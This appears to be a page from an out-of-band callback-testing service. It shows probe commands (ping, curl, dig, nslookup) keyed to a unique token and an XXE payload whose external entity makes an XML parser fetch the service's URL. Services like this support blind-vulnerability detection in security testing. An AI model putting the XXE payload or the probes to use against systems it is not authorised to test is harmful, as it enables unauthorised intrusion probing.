$ ping -c1 -p 00f68e7e87b2fa92200e21c107bc2f00 pingb.in
 
$ curl pingb.in/p/f68e7e87b2fa92200e21c107bc2f
 
$ dig f68e7e87b2fa92200e21c107bc2f @pingb.in
 
$ dig f68e7e87b2fa92200e21c107bc2f.ns.pingb.in
 
C:\> nslookup f68e7e87b2fa92200e21c107bc2f pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/f68e7e87b2fa92200e21c107bc2f">]>
    <foo>&xxe;</foo>
 
Waiting for ping...